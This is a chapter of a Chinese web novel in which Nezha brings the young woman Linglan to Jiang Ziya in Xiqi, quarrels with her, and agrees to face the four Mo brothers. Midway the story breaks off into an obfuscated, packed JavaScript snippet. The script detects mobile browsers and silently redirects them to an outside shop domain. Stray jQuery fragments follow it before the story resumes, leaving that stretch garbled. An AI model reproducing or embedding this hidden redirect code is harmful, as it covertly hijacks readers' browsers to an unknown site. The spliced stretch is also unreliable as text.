西岐城内。
两人刚落地,风火轮的热浪还未散去,迎面就碰上了愁眉不展,慌张出门的姜子牙。
“哪吒?你回来了?这可真是太好了,快随贫道来!”
姜子牙一抬头见是哪吒回来了,高兴的拉起他就往回走,边走边说。
只是哪吒这么往前一走,被挡在身后的铃兰就露了出来。
“这位姑娘是?”
姜子牙眉头皱起,先前是老婆子,现在又弄一个姑娘来,哪吒师侄……
姜子牙不由上下打量哪吒,眼神复杂,眉头紧锁,仿佛遇上了此生一大难题。
“我的人,师叔不必多问。”
哪吒挑眉,回头看了眼正盯着姜子牙看的铃兰,声音略有抬高的回道。
铃兰从姜子牙竟然不是个白头发糟老头的形象中回过神来,冲着姜子牙屈膝行礼,行为举止倒是优雅,不见农女的粗鄙,惹得哪吒多看她两眼,似是没想到她还有这么一面。
“远来是客,既如此,来人,请这位姑娘去西跨院的客房暂作休息,待议事之后,老夫亲自宴请姑娘。”
哪吒的话虽有歧义,但深知哪吒莲藕化身,无情无欲的姜子牙倒也没误会两人关系,只是暗自思衬,该给哪吒安排个夫子上上课。
“师叔,我说了,她是我的人,跟我住一起就行,我先把她带去房间,稍后亲自去正厅找师叔。”
哪吒脸色一黑,不满姜子牙没把他的话当回事。
偏偏,在他面前说话没个遮拦的铃兰这会倒是矜持上了,一言不发,也不给他作证。
“哪吒,这怎么能……”
姜子牙眉头皱起,伸出手就要拦住哪吒,然而哪吒是什么人?能被他一只手拦住?
于是姜子牙只能默默看着哪吒拉着铃兰,两人并肩远去。
“罢了,小桃,往后你多留意哪吒那里的情况,一有不对,立刻禀报我。”
眼下他还是尽快去找武王姬发过来,赶紧趁热打铁,哄好哪吒替他解决了眼下的难题才行。
而被哪吒一路拉着,两条腿倒腾的都快赶上风火轮的铃兰狼狈十足,珍珠罩子响做一团,搭在肩上的麻花辫也散开了。
“哪吒,你慢点。”
真不知道哪吒突然急什么?明明她都还没急呢。
“怎么,走太快了,你眼睛看不清了是吗?”
从落地就一直黑着脸的哪吒哐当一下推开门,拉着人进了屋,又哐当一声,把门窗都关严了,沉声问道。
“可不呗,我跟你又不一样,我就是个凡人,那么快,我连这屋门朝哪开都没看清。”
铃兰没听懂哪吒这话背后的深意,还以为他终于善解人意一次呢,半是撒娇半是抱怨的说道。
“呵,你倒真敢说!”
哪吒气极反笑,漂亮的凤眼紧盯着铃兰,捏了捏手指根,到底是忍住了没动。
铃兰这才发觉哪吒是真生气了,但他在气什么?
自觉这一路老老实实没惹事,连话都不曾说一句的铃兰,头一次没明白哪吒在闹什么。
但秉持着善待美人的原则,铃兰直接低头道歉“对不起,我错了,你别生气了,生气伤肝,肝火太大容易长痘,长痘就不漂亮了。”
言而总之,总而言之,美貌是最要紧的。
她这样敷衍了事的认错,更让人生气。
“闭嘴!”
哪吒用力的闭了闭眼睛,好歹是把心头的火气压了下去,但那团火还是在胸膛里砰砰乱跳。
“我现在要出去议事,在我回来之前,你最好想清楚你错哪了!”
原本哪吒虽然不满铃兰没主动说明他们的关系,更生气院子里的卫兵们不穿好衣裳乱晃,但也只是想着一个人慢慢化解这份情绪。
如今铃兰却突然认错,倒是给他提了醒,她确实应该好好反思自己!
就这么着,哪吒临走的时候又怕铃兰阳奉阴违,干脆在房门上下了禁咒。
铃兰坐在床榻上,看着光团萦绕的房门有些无语的翻个白眼。
她真想出去的话,没了房门还有窗户,没了窗户还能上屋顶,区区一个咒术,看不起谁呢?
另一边,来到正厅的哪吒见到姜子牙和武王姬发都在,倒也放得下身段,一上来就低头认错,为他赌气出走的事道歉。
之后又简单说明了回来路上,顺手救下黄天化之事。
“好哇,贫道今日卜卦,卦相显示逢凶化吉,原来是应在此处了。”
“只是那魔家四将着实厉害,早前武成王也曾说过此四人法宝特殊,很是棘手,如今看来确是如此,自他们出战,咱们始终攻不破,只得挂起免战牌。”
“正是如此,哪吒兄弟,我这心里窝囊啊,偏偏前几日我得到消息,我大哥伯邑考他……”
后面的话姬发说不下去了,一个大男人哽咽了几次,最后却是捂脸痛哭。
还是姜子牙替他说明,原来藏身朝歌的探子送回消息,说商王竟听信小人谗言,把大王子伯邑考做成了肉饼,送给西伯侯以做试探。
“什么!真是群畜生!死不足惜,姬发大哥,你别哭了,我这就去杀了那些人!”
哪吒没想到帝辛不仅昏庸,竟还如残忍,当即就要提枪出去。
“哪吒,你回来!”
“贫道和你说这些,不是叫你意气用事!而是如今天下万民皆苦,咱们得替天下人争一条活路出来。”
姜子牙哪能想到哪吒如此气壮,竟敢提枪杀人皇,赶紧把人拉住,死死的揪住袖子。
“师叔有话直说,哪吒必定领命效劳!”
被拽住的哪吒停住脚步,眉头紧皱的盯着被拽皱的袖子,他记得铃兰拉他袖子的时候,画面挺美好的呀。
但到底记着姜子牙是他师叔,得给些脸面,把脑子里闪过的想法压下去后,他并未说出一个字。
但在场的两人哪个不是人精?一眼就看穿了哪吒藏在眼底的嫌弃。
松开手,姜子牙尴尬的理了理衣袖,佯装不知的开口“有哪吒师侄这话,师叔就放心了。”
“师叔想,可否请哪吒师侄与那四人对上一战?”
这一回姜子牙站在一边,虽然眼神热切的看着哪吒,手上却没有任何动作。
“我还当师叔有什么难言之事呢,就这个?包在我身上!刚巧那魔礼青的白玉金刚镯被我砸碎了,剩下三个,不足为惧。”
哪吒得意的拍着胸脯说道,漂亮的凤眼里全是熊熊战意。
“哪吒师侄,剩下那三人也各有神通,万不可大意。”
姜子牙眼中闪过担忧,细心嘱咐。
“师叔不该如此忧心忡忡。”
哪吒对他的本事向来有信心,眼下见姜子牙如此灭自己威风,长他人志气,心里不爽,冷冷的安抚一句。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17705343|208301||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
却不想,身后突然传来一个女声,回头一看,竟是铃兰。
不过眼下的铃兰模样又狼狈许多,身上更是不知道从哪里蹭的黑一块白一块,像只三花猫。
“哪吒,姜太师说的却有道理,我知道你本事大,但那魔家四将既然能镇守一方,肯定也有隐蔽手段,姜太师这么说也是替你担忧。”
虽然她不记得封神故事里,哪吒在对战魔家四将的时候受过伤没有,但小心驶得万年船。
“所以,你也有隐蔽手段?是么?”
哪吒不悦的眯起眼睛,缠绕在胳膊上的混天绫无风自动,仿佛铃兰再多说一个不中听的字,他就要动手把她捆了再关回房间。
“不能不能,我这不是反省清楚了,特意来找你的。”
劝人不成反坑自己的铃兰心虚一笑,尴尬的摆手解释道。但当着外人的面,她还要脸,实在说不出那些委屈求饶的话。
幸好,哪吒也没有让人围观他私事的想法。
“呵,既然来找我,那正好,我事情说完了,咱们回去。”
懒得戳穿她的假话,哪吒反而顺着话说道,并伸出手臂,试图用搂着的方式把人带回去。
“哎,等等等等,我好不容易见到传说中的姜太师,可是有好些肺腑之言和太师说呢。”
铃兰灵活的蹲下身子往外一跳,躲开了哪吒的怀抱,转而目光严肃,郑重的看向姜子牙。
“哪吒师侄,不得鲁莽,咱们倒不如就听听这位姑娘想说什么。”
姜子牙把两人的互动看在眼里,藏在袖子里的手快速掐算,然而越算越模糊,只得放弃。
“姜太师英明!”
有了姜子牙的话,铃兰终于摆脱了哪吒的围追堵截,一拧腰身来到姜子牙面前,一张嘴就像抹了蜜一样,甜得很。
但身旁有个虎视眈眈,面色不佳的哪吒,铃兰也只能尽量的长话短说,简单介绍了王副将和陈副手等人,之后就说出了她的想法。
“果然是妙呀,这位姑娘的见解,当真独到!不知这位姑娘是在何处仙山上修行的弟子?”
姜子牙见铃兰周身有灵气萦绕,又见识不凡,和哪吒呆在一处,下意识的认定对方也是个修士,已经开始琢磨着能不能把人拉过来,多得一份助力。
“没有没有,小女子不过是一点拙见而已,当不得姜太师的如此夸赞!”
铃兰连忙心慌摆手,她的“水能载舟,亦能覆舟”的理论,不过是借用后世人的智慧罢了。
“这位姑娘太谦虚了。不过姑娘所说之事不无道理,只是眼下闻太师的十万大军,贫道实在想不出该派什么人去做这件事。”
姜子牙在听完铃兰的提议后,脑子里就把可能做这件事的人选都想了个遍,终是遗憾感叹。
“姜太师若是不介意,民女愿意替太师走这一趟。”
铃兰当即上前一步,眼神清明坚定的说道。
只是话音刚落,头顶就被拍了一下,哪吒咬牙切齿的声音在耳边响起“铃兰,你莫不是忘了答应我的?眼下我的要求就是你,不许离开房门一步!现在就给我回去!”
混天绫一闪而过,铃兰只觉得眼前一红,人就被拉进了一个清冽芳香的怀抱里,而后一阵头晕目眩,就又被带回了刚才的房间。
这一套动作,哪吒做的行云流水,正厅的姜子牙和姬发看的面面相觑,甚至都没反应过来。